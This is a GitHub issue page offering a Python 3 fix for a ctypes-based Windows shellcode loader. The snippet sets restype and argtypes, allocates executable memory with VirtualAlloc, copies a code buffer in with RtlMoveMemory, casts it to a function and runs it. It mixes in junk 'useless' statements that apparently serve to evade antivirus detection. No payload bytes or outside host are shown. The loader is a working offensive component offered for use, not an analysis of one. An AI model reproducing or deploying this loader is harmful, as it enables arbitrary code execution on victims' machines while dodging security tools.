Skip to content

解决python3 ctypes类问题 #16

Description

@KingSF5

'''
修复ctypes问题
'''
windll.kernel32.VirtualAlloc.restype = c_void_p
windll.kernel32.RtlCopyMemory.argtypes = (c_void_p, c_void_p, c_size_t)

VirtualAlloc = windll.kernel32.VirtualAlloc
VirtualProtect = windll.kernel32.VirtualProtect
useless += random.choice(useless)
whnd = windll.kernel32.GetConsoleWindow()
RtlMoveMemory = windll.kernel32.RtlMoveMemory
memHscode = VirtualAlloc(c_int(0), c_int(len(code)), c_int(0x3000), c_int(0x40))
buf = (c_char * len(code)).from_buffer(code)
useless += random.choice(useless)[:-1]
RtlMoveMemory(c_void_p(memHscode), buf, c_int(len(code)))
runcode = cast(memHscode, CFUNCTYPE(c_void_p))
runcode()

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions